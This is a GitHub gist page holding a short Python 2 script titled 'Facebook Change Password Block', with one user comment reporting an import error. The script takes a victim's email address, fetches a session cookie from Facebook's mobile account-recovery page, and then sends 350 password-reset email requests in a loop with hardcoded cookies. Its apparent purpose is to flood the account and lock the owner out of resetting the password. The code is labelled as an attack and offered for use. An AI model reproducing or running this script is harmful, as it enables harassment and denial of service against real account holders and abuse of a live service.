Skip to content

Instantly share code, notes, and snippets.

@Getmrahul
Last active February 15, 2017 23:14
Show Gist options
  • Save Getmrahul/3e60c308e337285a1438 to your computer and use it in GitHub Desktop.
Save Getmrahul/3e60c308e337285a1438 to your computer and use it in GitHub Desktop.
Facebook Change Password Block
#! usr/bin/python
# -*- coding: utf-8 -*-
import requests
######################### Attack to get sfiu cookie ######################
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard'
phno = raw_input('Enter EmailId:\n>')
payload = {
'lsd' : 'AVqoLCeF',
'charset_test' : '€,´,€,´,水,Д,Є',
'email' : phno,
'did_submit' : 'Search'
}
print "Getting SFIU cookie"
cookie = requests.post(url, data = payload).headers['set-cookie']
CA = cookie.split(';')
cooks = {'m_pixel_ratio':'1','wd':'1440x900','m_pixel_ratio':'1','wd':'1440x900','fr':'0tAufILfK7yJczYJj.AWV87bsE21EIx9xZH24UdriSZ9s.BUsk4W.6O.AAA.0.AWXg_FoS','x-referer':'%2Fhome.php%3Fref%3Dwizard%26_rdr%26soft%3Dmore%23%2Fhome.php%3Fref%3Dwizard%26_rdr','locale':'en_GB','lu':'RAvx6Ban5LBrNCR4SXYhQisA','reg_fb_gate':'https%3A%2F%2Ftouch.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfelKIUF1-aQ3Vpuk3zHip9STtNdHwst_KMosUCMVzmRW__WuEVNb3tlzNcluLu0Kk_1ZEqJ5EoCbCrZz5NX_KTRZNcdII-x__XR6v9xwRe-xA%26smuh%3D31622%26lh%3DAc-_CXDKJa0NiJAa%26refid%3D7%26ref%3Dwizard','m_pixel_ratio':'1','wd':'1440x900','datr':'L0uyVDCdV7jqI08qPaQgyrLo','m_ts':'1422862472','reg_fb_ref':'https%3A%2F%2Ftouch.facebook.com%2Frecover%2Finitiate%2F%3Fldata%3DAWf0zVfew4XVAYt0e5wYfU9tuECmxii44BAEhT2F5PsCyEBFnuhuJyAVFbz17Gv4vH7JSYAiYsaB9P-FRNZIijFMTFMdfrP-WOR8iFUKQzbxK0NrrfWmzrhXbVxQvEKfmQJ9KKZXBM5OQRbushXwY9nTPScRC8MVfRoeAYX2PQo1vOufGFcQT6b8-Fn_DEyodGYN5ovZZmYkNDPodrSPxXwP%26refsrc%3Dhttps%253A%252F%252Ftouch.facebook.com%252Flogin%252Fidentify%252F%253Fref%253Dwizard%26ref%3Dwizard'}
sfuic = CA[6].split(',')[1]
sfui = sfuic.strip().split('=')[1]
print "Starting attack with %s" % sfui
###################### Attack to send message #################
i = 0
url = 'https://touch.facebook.com/recover/initiate/?ref=wizard'
payload = {
'lsd' : 'AVqoLCeF',
'charset_test' : '€,´,€,´,水,Д,Є',
'recover_method' : 'send_email',
'reset_action' : 'Continue'
}
cooks.update({'sfiu':sfui})
while i < 350:
print requests.post(url, data=payload, cookies=cooks).status_code
i = i + 1
print "Done"
@minitehnicus
Copy link

File "harenablock", line 4, in
import requests
ImportError: No module named requests

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment